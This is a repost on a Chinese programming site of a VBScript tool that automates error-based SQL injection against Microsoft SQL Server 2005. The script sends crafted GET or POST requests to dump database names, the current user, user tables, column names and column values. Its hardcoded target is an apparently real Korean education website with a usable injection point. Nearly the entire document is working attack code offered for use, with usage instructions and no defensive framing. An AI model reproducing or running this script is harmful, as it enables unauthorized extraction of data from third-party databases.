当前位置: 移动技术网 > IT编程>数据库>MSSQL > Sql2005注射辅助脚本[粗糙版]

Sql2005注射辅助脚本[粗糙版]

2017年12月08日  | 移动技术网IT编程  | 我要评论

找商标,南阳王朱灿,me722拆机

作者:tr4c3
'为了保持脚本的通用性,放弃了 and (select col_name(object_id('tablename'),n))=0这样的用法。
'欲返回韩文等字符可修改121或者136行,更多的设置要自己修改
'更多功能请大家自己加入

const method = "get" '提交方式请修改此处,有get和post可选
const display = "d" 's 保存到文件,d输出到屏幕

dim strurl_b, strurl, i, k, myarray, strarg, strd

strurl_b = "http://onedu.mk.co.kr/02_process/cata1_2.asp?kwajung_code=120'" '基于注射点的不确定性,此处请手工更改
i = 1 '库的基数
k = 0 '表和字段的基数
myarray = split(strurl_b, "?", -1, 1)
strurl = myarray(0) '取url
strarg = myarray(1) '取参数
set args = wscript.arguments

if args.count = 0 then
showu
end if
'if args.count =1 and lcase(args(0))

'************************************************************************
' 爆库 
'************************************************************************
if args.count =1 then
if lcase(trim(args(0)))="databases" then
resut("---------------===============================--------------")
resut("all the databases:")

do
strdata = " and quotename(db_name("&i&"))=0--"
sqlinj(strdata)
i = i + 1
loop until strd=""
resut("---------------===============================--------------")
wscript.quit
elseif lcase(trim(args(0)))= "info" then
resut("---------------===============================--------------")
resut("the current database is:")
strdata = " and quotename(db_name())=0--"
sqlinj(strdata)
resut("---------------===============================--------------")
resut("the database user is:")
strdata = " and quotename(user)=0--"
sqlinj(strdata)
resut("---------------===============================--------------")
resut("the system_user is:")
strdata = " and quotename(system_user)=0--"
sqlinj(strdata)
resut("---------------===============================--------------")
wscript.quit
end if
end if
'************************************************************************
' 爆表 
'************************************************************************
if args.count=2 and lcase(trim(args(1)))="tables" then
resut("---------------===============================--------------")
resut("the tables of " & args(0))
do
strdata = " and (select top 1 quotename(name) from "& args(0) & ".dbo.sysobjects where xtype=char(85) and name not in (select top "& k &" name from "&args(0)&".dbo.sysobjects where xtype=char(85)))=0--"
sqlinj(strdata)
k = k + 1
loop until strd=""
resut("---------------===============================--------------")
wscript.quit
end if

'************************************************************************
' 爆字段 
'************************************************************************
if args.count=3 and lcase(trim(args(2)))="cols" then
database = args(0)
table = args(1)
target = database & ".dbo." & table
targetcol = database & ".dbo.syscolumns"
resut("---------------===============================--------------")
resut("the columns of " & target)
do
strdata = " and (select top 1 quotename(name) from "& targetcol &" where id=object_id('"& target &"') and name not in (select top "&k&" name from "& targetcol &" where id=object_id('"& target &"')))=0--"
sqlinj(strdata)
k = k + 1
loop until strd=""
resut("---------------===============================--------------")
wscript.quit
end if

'************************************************************************
' 爆字段值 
'************************************************************************
if args.count=4 and lcase(trim(args(3)))="values" then
database = args(0)
table = args(1)
col = args(2)
target = database & ".dbo." & table 
resut("---------------===============================--------------")
resut("the values of " & args(2) & " in "&target)
do
strdata = " and (select top 1 quotename("& col &") from "& target & " where "& col &" not in (select top "& k &" "& col &" from "& target &"))=0--"
sqlinj(strdata)
k = k + 1
loop until strd=""
resut("---------------===============================--------------")
wscript.quit
end if

sub sqlinj(value)
if ucase(method) = "get" then
value = strarg & value
set objxml = createobject("microsoft.xmlhttp")
objxml.open "get", strurl &"?" & value , false
objxml.setrequestheader "referer", strurl
'objxml.setrequestheader "accept-language", "euc-kr"
objxml.send()
strrevs = objxml.responsetext '默认用这个
'strrevs = bytes2bstr(objxml.responsebody) '韩文有时候要用这个
if instr(strrevs,"'[")<>0 and instr(strrevs,"]'")<>0 then
strd = mid(strrevs,instr(strrevs,"'[")+2, instr(strrevs,"]'") - instr(strrevs,"'[")-2)
resut(" |_"&strd)
else
strd = ""
end if
elseif ucase(method) = "post" then
value = strarg & value
set objxml = createobject("microsoft.xmlhttp")
objxml.open "post", strurl, false
objxml.setrequestheader "content-type", "application/x-www-form-urlencoded"
objxml.setrequestheader "referer", strurl
objxml.send(urlencode(value))
strrevs = objxml.responsetext '默认用这个
'strrevs = bytes2bstr(objxml.responsebody) '韩文有时候要用这个
if instr(strrevs,"'[")<>0 and instr(strrevs,"]'")<>0 then
strd = mid(strrevs,instr(strrevs,"'[")+2, instr(strrevs,"]'") - instr(strrevs,"'[")-2)
resut(" |_"&strd)
else
strd = ""
end if
end if
end sub

function resut(strinfo)
if ucase(display) = "s" then
set fso = createobject("scripting.filesystemobject")
set fso1 = fso.opentextfile("result.txt",8,true)
fso1.writeline(strinfo)
fso1.close
set fso = nothing
elseif ucase(display) = "d" then
wscript.echo(strinfo)
end if
end function

function urlencode(str)
str = replace(str," ","+")
urlencode = str
end function

function bytes2bstr(vin)
strreturn = ""
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin,i,1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin,i+1,1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
i = i + 1
end if
next
bytes2bstr = strreturn
end function

sub showu()
with wscript
.echo("+--------------------------=====================------------------------------+")
.echo("sql2005注射辅助脚本(粗糙版),用于mssql显错模式 by tr4c3[at]126[dot]com")
.echo("usage:")
.echo(" cscript"&.scriptname&" info--爆基本信息")
.echo(" cscript"&.scriptname&" databases--爆所有库名")
.echo(" cscript"&.scriptname&" pubs tables--爆库pubs里所有用户表名")
.echo(" cscript"&.scriptname&" pubs authors cols--爆库pubs里authors表的所有字段名")
.echo(" cscript"&.scriptname&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.echo("+--------------------------=====================------------------------------+")
.quit
end with
end sub

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网